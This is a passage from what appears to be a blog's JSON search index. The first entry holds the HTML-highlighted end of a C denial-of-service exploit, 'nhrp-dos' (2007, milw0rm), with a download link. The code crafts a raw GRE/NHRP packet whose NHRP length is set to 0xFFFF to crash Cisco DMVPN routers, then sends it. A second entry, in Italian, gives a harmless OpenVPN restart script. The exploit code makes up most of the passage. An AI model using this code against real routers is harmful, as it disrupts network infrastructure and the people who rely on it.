style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Increment NHRP request ID */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_req_id\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* IPv4 Header */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eip_hdr.ip_v             \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e;                    \u003cspan style=\"color:#75715e\"\u003e/* IP version */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eip_hdr.ip_hl            \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e;                    \u003cspan style=\"color:#75715e\"\u003e/* IP header length */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eip_hdr.ip_tos           \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x00\u003c/span\u003e;                 \u003cspan style=\"color:#75715e\"\u003e/* IP ToS */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eip_hdr.ip_len           \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ehtons\u003c/span\u003e(IP_HDR_SIZE  \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eGRE_SIZE \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eNHRP_HDR_SIZE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e);                    \u003cspan style=\"color:#75715e\"\u003e/* IP total length */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eip_hdr.ip_id            \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;                    \u003cspan style=\"color:#75715e\"\u003e/* IP identification */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eip_hdr.ip_off           \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;                    \u003cspan style=\"color:#75715e\"\u003e/* IP frag offset */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eip_hdr.ip_ttl           \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e64\u003c/span\u003e;                   \u003cspan style=\"color:#75715e\"\u003e/* IP time to live */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eip_hdr.ip_p             \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e IPPROTO_GRE;          \u003cspan style=\"color:#75715e\"\u003e/* IP protocol */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eip_hdr.ip_sum           \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;                    \u003cspan style=\"color:#75715e\"\u003e/* IP checksum */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eip_hdr.ip_src.s_addr    \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e src_ip;               \u003cspan style=\"color:#75715e\"\u003e/* IP source */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eip_hdr.ip_dst.s_addr    \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e dst_ip;               \u003cspan style=\"color:#75715e\"\u003e/* IP destination */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* GRE header */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e(gre_key \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egre_hdr.flags   \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ehtons\u003c/span\u003e(\u003cspan style=\"color:#ae81ff\"\u003e0x2000\u003c/span\u003e);        \u003cspan style=\"color:#75715e\"\u003e/* GRE flags */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egre_hdr.key     \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ehtonl\u003c/span\u003e(gre_key);       \u003cspan style=\"color:#75715e\"\u003e/* GRE key */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e} \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egre_hdr.flags   \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egre_hdr.ptype           \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ehtons\u003c/span\u003e(\u003cspan style=\"color:#ae81ff\"\u003e0x2001\u003c/span\u003e);        \u003cspan style=\"color:#75715e\"\u003e/* GRE type (NHRP) */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* NHRP fixed header */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.fixed.afn      \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ehtons\u003c/span\u003e(\u003cspan style=\"color:#ae81ff\"\u003e0x0001\u003c/span\u003e);        \u003cspan style=\"color:#75715e\"\u003e/* NHRP AFN */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.fixed.proto    \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ehtons\u003c/span\u003e(\u003cspan style=\"color:#ae81ff\"\u003e0x0800\u003c/span\u003e);        \u003cspan style=\"color:#75715e\"\u003e/* NHRP protocol type */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.fixed.snap     \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;                    \u003cspan style=\"color:#75715e\"\u003e/* NHRP SNAP */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.fixed.snapE    \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;                    \u003cspan style=\"color:#75715e\"\u003e/* NHRP SNAP */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.fixed.hops     \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0xFF\u003c/span\u003e;                 \u003cspan style=\"color:#75715e\"\u003e/* NHRP hop count */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* DoS -\u0026gt; Set length to 0xFFFF */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.fixed.length   \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ehtons\u003c/span\u003e(\u003cspan style=\"color:#ae81ff\"\u003e0xFFFF\u003c/span\u003e);        \u003cspan style=\"color:#75715e\"\u003e/* NHRP length */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Checksum can be incorrect */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.fixed.checksum \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;                    \u003cspan style=\"color:#75715e\"\u003e/* NHRP checksum */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.fixed.mpoa_ext \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ehtons\u003c/span\u003e(\u003cspan style=\"color:#ae81ff\"\u003e0x0034\u003c/span\u003e);        \u003cspan style=\"color:#75715e\"\u003e/* NHRP MPOA ext */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.fixed.version  \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e;                    \u003cspan style=\"color:#75715e\"\u003e/* NHRP version */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.fixed.type     \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e;                    \u003cspan style=\"color:#75715e\"\u003e/* NHRP type */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.fixed.nbma_addr\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e;                    \u003cspan style=\"color:#75715e\"\u003e/* NHRP NBMA t/l addr */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.fixed.nbma_sub \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;                    \u003cspan style=\"color:#75715e\"\u003e/* NHRP NBMA t/l sub */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* NHRP mandatory part */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.mand.src_len   \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e;                    \u003cspan style=\"color:#75715e\"\u003e/* NHRP src proto len */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.mand.dst_len   \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e;                    \u003cspan style=\"color:#75715e\"\u003e/* NHRP dst proto len */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.mand.flags     \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ehtons\u003c/span\u003e(\u003cspan style=\"color:#ae81ff\"\u003e0x8000\u003c/span\u003e);        \u003cspan style=\"color:#75715e\"\u003e/* NHRP flags */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.mand.request_id  \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ehtonl\u003c/span\u003e(nhrp_req_id); \u003cspan style=\"color:#75715e\"\u003e/* NHRP request ID */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.mand.client_nbma \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e src_ip;             \u003cspan style=\"color:#75715e\"\u003e/* NHRP client addr */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.mand.client_nbma_sub \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;              \u003cspan style=\"color:#75715e\"\u003e/* NHRP client sub  */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.mand.client_pro_addr \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;              \u003cspan style=\"color:#75715e\"\u003e/* NHRP client proto */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* NHRP client information entries (CIE) */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.cie.code       \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;                    \u003cspan style=\"color:#75715e\"\u003e/* NHRP code */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.cie.pref_len   \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0xFF\u003c/span\u003e;                 \u003cspan style=\"color:#75715e\"\u003e/* NHRP prefix len */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.cie.reserved   \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x0000\u003c/span\u003e;               \u003cspan style=\"color:#75715e\"\u003e/* NHRP reserved */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.cie.mtu        \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ehtons\u003c/span\u003e(\u003cspan style=\"color:#ae81ff\"\u003e1514\u003c/span\u003e);          \u003cspan style=\"color:#75715e\"\u003e/* NHRP mtu */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.cie.holding_time \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ehtons\u003c/span\u003e(\u003cspan style=\"color:#ae81ff\"\u003e30\u003c/span\u003e);          \u003cspan style=\"color:#75715e\"\u003e/* NHRP holding time */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.cie.len_client \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;                    \u003cspan style=\"color:#75715e\"\u003e/* NHRP t/l client */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.cie.len_client_sub \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;                \u003cspan style=\"color:#75715e\"\u003e/* NHRP t/l sub */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.cie.len_client_pro \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;                \u003cspan style=\"color:#75715e\"\u003e/* NHRP t/l pro */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.cie.preference \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;                    \u003cspan style=\"color:#75715e\"\u003e/* NHRP preference */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enhrp_hdr.cie.ext        \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ehtons\u003c/span\u003e(\u003cspan style=\"color:#ae81ff\"\u003e0x8003\u003c/span\u003e);        \u003cspan style=\"color:#75715e\"\u003e/* NHRP C/U/Type (ext)*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Copy the IPv4 header to the buffer */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003ememcpy\u003c/span\u003e(buf, (\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003eip_hdr, \u003cspan style=\"color:#66d9ef\"\u003esizeof\u003c/span\u003e(ip_hdr));\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Copy the GRE header to the buffer */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003ememcpy\u003c/span\u003e(buf \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e IP_HDR_SIZE, (\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003egre_hdr, \u003cspan style=\"color:#66d9ef\"\u003esizeof\u003c/span\u003e(gre_hdr));\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Copy the NHRP header to the buffer */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003ememcpy\u003c/span\u003e(buf \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e IP_HDR_SIZE \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e GRE_SIZE, (\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003enhrp_hdr,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003esizeof\u003c/span\u003e(nhrp_hdr));\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Fix some BSD bugs */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#ifdef _BSD\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eiphdr \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003estruct\u003c/span\u003e ip \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e) buf;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eiphdr\u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003eip_len \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003entohs\u003c/span\u003e(iphdr\u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003eip_len);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eiphdr\u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003eip_off \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003entohs\u003c/span\u003e(iphdr\u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003eip_off);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#endif\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003ememset\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003esin, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#66d9ef\"\u003esizeof\u003c/span\u003e(\u003cspan style=\"color:#66d9ef\"\u003estruct\u003c/span\u003e sockaddr_in));\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esin.sin_family \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e AF_INET;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esin.sin_addr.s_addr \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e iphdr\u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003eip_dst.s_addr;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003enhrp-dos (c) by Martin Kluge \u0026lt;mk@elxsi.de\u0026gt;, 2007\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;------------------------------------------------\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Sending DoS packet...\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Send the packet */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ebytes \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003esendto\u003c/span\u003e(fd, buf, IP_HDR_SIZE \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e GRE_SIZE \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e NHRP_HDR_SIZE, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e(\u003cspan style=\"color:#66d9ef\"\u003estruct\u003c/span\u003e sockaddr \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003esin, \u003cspan style=\"color:#66d9ef\"\u003esizeof\u003c/span\u003e(\u003cspan style=\"color:#66d9ef\"\u003estruct\u003c/span\u003e sockaddr));\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;DONE (%d bytes)\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e, bytes);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Free the buffer */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003efree\u003c/span\u003e(buf);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Return number of bytes */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e(bytes);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// milw0rm.com [2007-08-09]\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ca href=\"/wp-content/uploads/2009/09/NHRP_dos.c\"\u003eDownload\u003c/a\u003e\u003c/p\u003e","title":"Cisco DMVPN/NBMA - Security"},{"content":"Su connessioni fastweb usando openvpn è in caso di restart dei router di destinazione spesso le sessioni restano appese e non viene ristabilito il tunnel, in teoria questo bug è stato risolto nelle ultime release, per non rischiare 4 righe di script:\n#!/bin/bash if ! ping -c 1 -w 5 \u0026#34;xxx.xxx.xxx.xxx\u0026#34; \u0026amp;\u0026gt;/dev/null ; then /etc/init.d/openvpn restart fi Eseguite ogni 5 minuti come da cron:\n*/5 * * * * /root/yeahup\n","permalink":"https://www.deepreflect.net/2009/09/14/auto-check-openvpn/","summary":"\u003cp\u003eSu connessioni fastweb usando openvpn è in caso di restart dei router di destinazione spesso le sessioni restano appese e non viene ristabilito il tunnel, in teoria questo bug è stato risolto nelle ultime release, per non rischiare 4 righe di script:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" 